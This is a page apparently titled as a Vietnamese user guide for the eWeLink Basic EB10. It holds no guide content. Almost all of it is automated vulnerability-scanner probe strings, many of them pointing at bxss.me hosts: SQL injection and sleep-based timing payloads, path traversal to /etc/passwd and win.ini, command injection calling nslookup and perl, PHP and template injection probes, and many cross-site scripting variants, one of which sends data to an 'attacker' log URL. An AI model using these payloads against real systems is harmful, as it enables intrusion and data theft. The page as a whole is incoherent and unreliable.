Hướng dẫn sử dụng eWeLink Basic EB10

1

1E09o3FiO

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+551-551-1=0+0+0+1 --

-1 OR 3+551-551-1=0+0+0+1 --

-1 OR 2+878-878-1=0+0+0+1

-1 OR 3+878-878-1=0+0+0+1

-1\' OR 2+926-926-1=0+0+0+1 --

-1\' OR 3+926-926-1=0+0+0+1 --

-1\' OR 2+175-175-1=0+0+0+1 or \'x2pVZoK5\'=\'

-1\' OR 3+175-175-1=0+0+0+1 or \'x2pVZoK5\'=\'

-1" OR 2+508-508-1=0+0+0+1 --

-1" OR 3+508-508-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0\'XOR(if(now()=sysdate(),sleep(15),0))XOR\'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'"+(select(0)from(select(sleep(15)))v)+"*/

1

1

response.write(9349966*9660478)

../../../../../../../../../../../../../../etc/passwd

\'+response.write(9349966*9660478)+\'

../../../../../../../../../../../../../../windows/win.ini

"+response.write(9349966*9660478)+"

-1; waitfor delay \'0:0:15\' --

1

../1

1

1

1

1

1

-1); waitfor delay \'0:0:15\' --

1

1

1

1

1

1

1

1

1 waitfor delay \'0:0:15\' --

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

${9999754+10000316}

1

1

1

1

1

1

1

echo yginle$()\\ rfkcgn\\nz^xyu||a #\' &echo yginle$()\\ rfkcgn\\nz^xyu||a #|" &echo yginle$()\\ rfkcgn\\nz^xyu||a #

1

&echo qiqvax$()\\ acxutx\\nz^xyu||a #\' &echo qiqvax$()\\ acxutx\\nz^xyu||a #|" &echo qiqvax$()\\ acxutx\\nz^xyu||a #

1

1

|echo dkaqxl$()\\ toghtk\\nz^xyu||a #\' |echo dkaqxl$()\\ toghtk\\nz^xyu||a #|" |echo dkaqxl$()\\ toghtk\\nz^xyu||a #

(nslookup hitzsdtcefijyc0127.bxss.me||perl -e "gethostbyname(\'hitzsdtcefijyc0127.bxss.me\')")

YvCiV0W8\'; waitfor delay \'0:0:15\' --

$(nslookup hitoslepekgqgf1666.bxss.me||perl -e "gethostbyname(\'hitoslepekgqgf1666.bxss.me\')")

1

&(nslookup hitsbcyilsppyd99bd.bxss.me||perl -e "gethostbyname(\'hitsbcyilsppyd99bd.bxss.me\')")&\'\\"`0&(nslookup hitsbcyilsppyd99bd.bxss.me||perl -e "gethostbyname(\'hitsbcyilsppyd99bd.bxss.me\')")&`\'

1

1

|(nslookup hitbbrpokfgly5808d.bxss.me||perl -e "gethostbyname(\'hitbbrpokfgly5808d.bxss.me\')")

1

1

1

`(nslookup hitevsjtjhfci44a9e.bxss.me||perl -e "gethostbyname(\'hitevsjtjhfci44a9e.bxss.me\')")`

1

;(nslookup hitbihkejjrejf8fc3.bxss.me||perl -e "gethostbyname(\'hitbihkejjrejf8fc3.bxss.me\')")|(nslookup hitbihkejjrejf8fc3.bxss.me||perl -e "gethostbyname(\'hitbihkejjrejf8fc3.bxss.me\')")&(nslookup hitbihkejjrejf8fc3.bxss.me||perl -e "gethostbyname(\'hitbihkejjrejf8fc3.bxss.me\')")

1

1

1

1

1

1

1

1

-5 OR 236=(SELECT 236 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

-5) OR 530=(SELECT 530 FROM PG_SLEEP(15))--

1some_inexistent_file_with_long_name\0.jpg

1

1

\'.gethostbyname(lc(\'hitpp\'.\'nmynrjaz2a407.bxss.me.\')).\'A\'.chr(67).chr(hex(\'58\')).chr(111).chr(79).chr(118).chr(88).\'

Http://bxss.me/t/fit.txt

1

1

".gethostbyname(lc("hitac"."amsbhbplb9783.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(78).chr(105).chr(83)."

HttP://bxss.me/t/xss.html?%00

http://bxss.me/t/fit.txt?.jpg

1

1

bxss.me/t/xss.html?%00

bxss.me

-1)) OR 278=(SELECT 278 FROM PG_SLEEP(15))--

1

1

1

1

1

1

)

1

kHNQvH3G\' OR 127=(SELECT 127 FROM PG_SLEEP(15))--

1

!(()&&!|*|*|

;assert(base64_decode(\'cHJpbnQobWQ1KDMxMzM3KSk7\'));

1

\';print(md5(31337));$a=\'

1

^(#$!@#$)(()))******

1

1

1

1

";print(md5(31337));$a="

Y16Zz0Sl\') OR 410=(SELECT 410 FROM PG_SLEEP(15))--

1

1

1

${@print(md5(31337))}

1

1

1

1

${@print(md5(31337))}\\

1

\'.print(md5(31337)).\'

NqNXdQkM\')) OR 847=(SELECT 847 FROM PG_SLEEP(15))--

1

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(117).concat(67).concat(107).concat(76)+(require"socket"\nSocket.gethostbyname("hitqb"+"wczwhdmye5175.bxss.me.")[3].to_s)+"

1

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1

\'+\'A\'.concat(70-3).concat(22*4).concat(106).concat(89).concat(107).concat(87)+(require\'socket\'\nSocket.gethostbyname(\'hitxv\'+\'yobhtqpib2fcf.bxss.me.\')[3].to_s)+\'

1

1

1

1

1

1

1

1

1

1\'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'

1\'"

1

1

1

1

@@m9Gdb

1

\'"

1

<!--

index.php

1

1

index.php

index.php/.

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

/xfs.bxss.me

1

1

953808

http://xfs.bxss.me

1

//xfs.bxss.me

/\\xfs.bxss.me

1

1

1

1

1

1

1

1

1

1

1

1

1\'"()&%<acx><ScRiPt >6IPC(9286)</ScRiPt>

\'"()&%<acx><ScRiPt >6IPC(9253)</ScRiPt>

19745428

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}\'}}1%>"%>\'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}\'}}1%>"%>\'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1\'"()&%<acx><ScRiPt >lKYs(9875)</ScRiPt>

\'"()&%<acx><ScRiPt >lKYs(9170)</ScRiPt>

19867875

1

1

1

1

1

1

acu7438＜s1﹥s2ʺs3ʹuca7438

<%={{={@{#{${acx}}%>

1

1

1

<th:t="${acx}#foreach

1

1

1

1

1

1}}"}}\'}}1%>"%>\'%><%={{={@{#{${acx}}%>

1

1

1

1

1

acx{{98991*97996}}xca

1

acx[[${98991*97996}]]xca

1

1

acx__${98991*97996}__::.x

1

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1

1

1

1<ScRiPt >lKYs(9865)</ScRiPt>

1

1

1

1<WG3LX3>IBIYJ[!+!]</WG3LX3>

1

1<script>lKYs(9699)</script>

1

1

1

1<ScR<ScRiPt>IpT>lKYs(9164)</sCr<ScRiPt>IpT>

1

1

1<ScRiPt \r\n>lKYs(9054)</ScRiPt>

1

1

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9402></ScRiPt>

1<\0ScRiPt \r\n>lKYs(9428)</ScRiPt>

1

1

1

1

1<isindex type=image src=1 onerror=lKYs(9761)>

1<iframe src=\'data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=\' invalid=\'9344\'>

1

1

1<body onload=lKYs(9105)>

1

1

1<img src=//xss.bxss.me/t/dot.gif onload=lKYs(9770)>

1

1

1<img src=xyz OnErRor=lKYs(9409)>

1

1

1

1<img/src=">" onerror=alert(9735)>

1

%31%3C%53%63%52%69%50%74%20%3E%6C%4B%59%73%289575%29%3C%2F%73%43%72%69%70%54%3E

1

1

1\\u003CScRiPt\\lKYs(9984)\\u003C/sCripT\\u003E

1

1

1&lt;ScRiPt&gt;lKYs(9394)&lt;/sCripT&gt;

1

1

1

1<input autofocus onfocus=lKYs(9756)>

1

1

<a HrEF=http://xss.bxss.me></a>

1

1

1

<a HrEF=jaVaScRiPT:>

1

1}body{acu:Expre/**/SSion(lKYs(9272))}

1

1

1<% contenteditable onresize=lKYs(9444)>

1

1

1sZg93\n<ScRiPt >lKYs(9950)</ScRiPt>

1

1

1

1<WXQE3D>OBPZB[!+!]</WXQE3D>

1

1

1

1

1<ifRAme sRc=9755.com></IfRamE>

1

1

1

1<Tirhsy x=9327>

1

1<img sRc=\'http://attacker-9619/log.php?

1

1<jGCQjV<

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1\'"()&%<acx><ScRiPt >UeB5(9253)</ScRiPt>

\'"()&%<acx><ScRiPt >UeB5(9143)</ScRiPt>

19613978

1

1

1

1

1

acu9749＜s1﹥s2ʺs3ʹuca9749

1

<%={{={@{#{${acx}}%>

1

1

1

1

<th:t="${acx}#foreach

1

1

1

1

1}}"}}\'}}1%>"%>\'%><%={{={@{#{${acx}}%>

1

1

1

acx{{98991*97996}}xca

1

1

1

acx[[${98991*97996}]]xca

1

acx__${98991*97996}__::.x

1

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1<ScRiPt >UeB5(9847)</ScRiPt>

1

1<WY5FDP>M8HSU[!+!]</WY5FDP>

1

1

1<script>UeB5(9771)</script>

1<ScR<ScRiPt>IpT>UeB5(9720)</sCr<ScRiPt>IpT>

1

1

1<ScRiPt \r\n>UeB5(9425)</ScRiPt>

1

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9619></ScRiPt>

1

1

1<\0ScRiPt \r\n>UeB5(9169)</ScRiPt>

1

1

1

1<isindex type=image src=1 onerror=UeB5(9603)>

1

1

1<iframe src=\'data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=\' invalid=\'9746\'>

1

1

1<body onload=UeB5(9387)>

1

1

1

1<img src=//xss.bxss.me/t/dot.gif onload=UeB5(9802)>

1<img src=xyz OnErRor=UeB5(9921)>

1

1

1<img/src=">" onerror=alert(9742)>

1

1

%31%3C%53%63%52%69%50%74%20%3E%55%65%42%35%289420%29%3C%2F%73%43%72%69%70%54%3E

1

1

1\\u003CScRiPt\\UeB5(9487)\\u003C/sCripT\\u003E

1

1

1

1&lt;ScRiPt&gt;UeB5(9015)&lt;/sCripT&gt;

1

1

1

1

1

1<input autofocus onfocus=UeB5(9683)>

1

<a HrEF=http://xss.bxss.me></a>

1

1

<a HrEF=jaVaScRiPT:>

1

1}body{acu:Expre/**/SSion(UeB5(9682))}

1

1<% contenteditable onresize=UeB5(9143)>

1

1

1mmnCq\n<ScRiPt >UeB5(9940)</ScRiPt>

1

1

1<W2ZVFG>TLTBC[!+!]</W2ZVFG>

1

1

1<ifRAme sRc=9078.com></IfRamE>

1

1<MnDQbq x=9574>

1

1<img sRc=\'http://attacker-9351/log.php?

1

1<lHMo0U<

1

1

1

1

1

1

1

1

1

1

1

1

1

1\'"()&%<acx><ScRiPt >tOC3(9102)</ScRiPt>

1